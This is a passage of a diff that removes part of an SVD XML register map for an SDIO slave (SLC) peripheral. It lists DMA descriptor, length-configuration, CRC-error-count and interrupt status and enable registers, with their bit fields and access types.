-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_EOF_MODE</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_FILL_EN</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RD_RETRY_THRESHOLD</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN_NO_REPLACE</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_INFOR_NO_REPLACE</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_FILL_MODE</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_EOF_MODE</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_FILL_EN</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RD_RETRY_THRESHOLD</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_TXLINK_DSCR</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TXLINK_DSCR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_TXLINK_DSCR_BF0</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TXLINK_DSCR_BF0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_TXLINK_DSCR_BF1</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TXLINK_DSCR_BF1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_RXLINK_DSCR</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_RXLINK_DSCR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_RXLINK_DSCR_BF0</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_RXLINK_DSCR_BF0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_RXLINK_DSCR_BF1</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_RXLINK_DSCR_BF1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1_TXLINK_DSCR</name>
-          <addressOffset>0xB4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_TXLINK_DSCR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1_TXLINK_DSCR_BF0</name>
-          <addressOffset>0xB8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_TXLINK_DSCR_BF0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1_TXLINK_DSCR_BF1</name>
-          <addressOffset>0xBC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_TXLINK_DSCR_BF1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1_RXLINK_DSCR</name>
-          <addressOffset>0xC0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_RXLINK_DSCR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1_RXLINK_DSCR_BF0</name>
-          <addressOffset>0xC4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_RXLINK_DSCR_BF0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1_RXLINK_DSCR_BF1</name>
-          <addressOffset>0xC8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_RXLINK_DSCR_BF1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_TX_ERREOF_DES_ADDR</name>
-          <addressOffset>0xCC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TX_ERR_EOF_DES_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1_TX_ERREOF_DES_ADDR</name>
-          <addressOffset>0xD0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_TX_ERR_EOF_DES_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TOKEN_LAT</name>
-          <addressOffset>0xD4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TOKEN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TX_DSCR_CONF</name>
-          <addressOffset>0xD8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000080</resetValue>
-          <fields>
-            <field>
-              <name>WR_RETRY_THRESHOLD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CMD_INFOR0</name>
-          <addressOffset>0xDC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CMD_CONTENT0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CMD_INFOR1</name>
-          <addressOffset>0xE0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CMD_CONTENT1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_LEN_CONF</name>
-          <addressOffset>0xE4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_LEN_WDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_LEN_WR</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_LEN_INC</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_LEN_INC_MORE</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_PACKET_LOAD_EN</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_PACKET_LOAD_EN</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_GET_USED_DSCR</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_GET_USED_DSCR</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_NEW_PKT_IND</name>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_NEW_PKT_IND</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_LENGTH</name>
-          <addressOffset>0xE8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_LEN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_TXPKT_H_DSCR</name>
-          <addressOffset>0xEC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TX_PKT_H_DSCR_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_TXPKT_E_DSCR</name>
-          <addressOffset>0xF0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TX_PKT_E_DSCR_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_RXPKT_H_DSCR</name>
-          <addressOffset>0xF4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_RX_PKT_H_DSCR_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_RXPKT_E_DSCR</name>
-          <addressOffset>0xF8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_RX_PKT_E_DSCR_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_TXPKTU_H_DSCR</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TX_PKT_START_DSCR_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_TXPKTU_E_DSCR</name>
-          <addressOffset>0x100</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TX_PKT_END_DSCR_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_RXPKTU_H_DSCR</name>
-          <addressOffset>0x104</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_RX_PKT_START_DSCR_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_RXPKTU_E_DSCR</name>
-          <addressOffset>0x108</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_RX_PKT_END_DSCR_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SEQ_POSITION</name>
-          <addressOffset>0x114</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000509</resetValue>
-          <fields>
-            <field>
-              <name>SLC0_SEQ_POSITION</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_SEQ_POSITION</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_DSCR_REC_CONF</name>
-          <addressOffset>0x118</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000003FF</resetValue>
-          <fields>
-            <field>
-              <name>SLC0_RX_DSCR_REC_LIM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SDIO_CRC_ST0</name>
-          <addressOffset>0x11C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DAT0_CRC_ERR_CNT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DAT1_CRC_ERR_CNT</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DAT2_CRC_ERR_CNT</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DAT3_CRC_ERR_CNT</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SDIO_CRC_ST1</name>
-          <addressOffset>0x120</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CMD_CRC_ERR_CNT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ERR_CNT_CLR</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_EOF_START_DES</name>
-          <addressOffset>0x124</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_EOF_START_DES_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_PUSH_DSCR_ADDR</name>
-          <addressOffset>0x128</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_RX_PUSH_DSCR_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_DONE_DSCR_ADDR</name>
-          <addressOffset>0x12C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_RX_DONE_DSCR_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_SUB_START_DES</name>
-          <addressOffset>0x130</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_SUB_PAC_START_DSCR_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_DSCR_CNT</name>
-          <addressOffset>0x134</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_RX_DSCR_CNT_LAT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_GET_EOF_OCC</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_LEN_LIM_CONF</name>
-          <addressOffset>0x138</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00005400</resetValue>
-          <fields>
-            <field>
-              <name>SLC0_LEN_LIM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0INT_ST1</name>
-          <addressOffset>0x13C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FRHOST_BIT0_INT_ST1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT1_INT_ST1</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT2_INT_ST1</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT3_INT_ST1</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT4_INT_ST1</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT5_INT_ST1</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT6_INT_ST1</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT7_INT_ST1</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_START_INT_ST1</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_START_INT_ST1</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_UDF_INT_ST1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_OVF_INT_ST1</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN0_1TO0_INT_ST1</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN1_1TO0_INT_ST1</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DONE_INT_ST1</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_SUC_EOF_INT_ST1</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_DONE_INT_ST1</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_EOF_INT_ST1</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOHOST_INT_ST1</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DSCR_ERR_INT_ST1</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_DSCR_ERR_INT_ST1</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DSCR_EMPTY_INT_ST1</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_HOST_RD_ACK_INT_ST1</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_WR_RETRY_DONE_INT_ST1</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_ERR_EOF_INT_ST1</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CMD_DTC_INT_ST1</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_QUICK_EOF_INT_ST1</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0INT_ENA1</name>
-          <addressOffset>0x140</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FRHOST_BIT0_INT_ENA1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT1_INT_ENA1</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT2_INT_ENA1</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT3_INT_ENA1</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT4_INT_ENA1</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT5_INT_ENA1</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT6_INT_ENA1</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT7_INT_ENA1</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_START_INT_ENA1</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_START_INT_ENA1</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_UDF_INT_ENA1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_OVF_INT_ENA1</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN0_1TO0_INT_ENA1</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN1_1TO0_INT_ENA1</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DONE_INT_ENA1</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_SUC_EOF_INT_ENA1</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_DONE_INT_ENA1</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_EOF_INT_ENA1</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TOHOST_INT_ENA1</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DSCR_ERR_INT_ENA1</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_DSCR_ERR_INT_ENA1</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DSCR_EMPTY_INT_ENA1</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_HOST_RD_ACK_INT_ENA1</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_WR_RETRY_DONE_INT_ENA1</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_ERR_EOF_INT_ENA1</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CMD_DTC_INT_ENA1</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_QUICK_EOF_INT_ENA1</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1INT_ST1</name>
-          <addressOffset>0x144</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FRHOST_BIT8_INT_ST1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT9_INT_ST1</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT10_INT_ST1</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT11_INT_ST1</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT12_INT_ST1</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT13_INT_ST1</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT14_INT_ST1</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT15_INT_ST1</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_START_INT_ST1</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_START_INT_ST1</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_UDF_INT_ST1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_OVF_INT_ST1</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN0_1TO0_INT_ST1</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN1_1TO0_INT_ST1</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DONE_INT_ST1</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_SUC_EOF_INT_ST1</name>
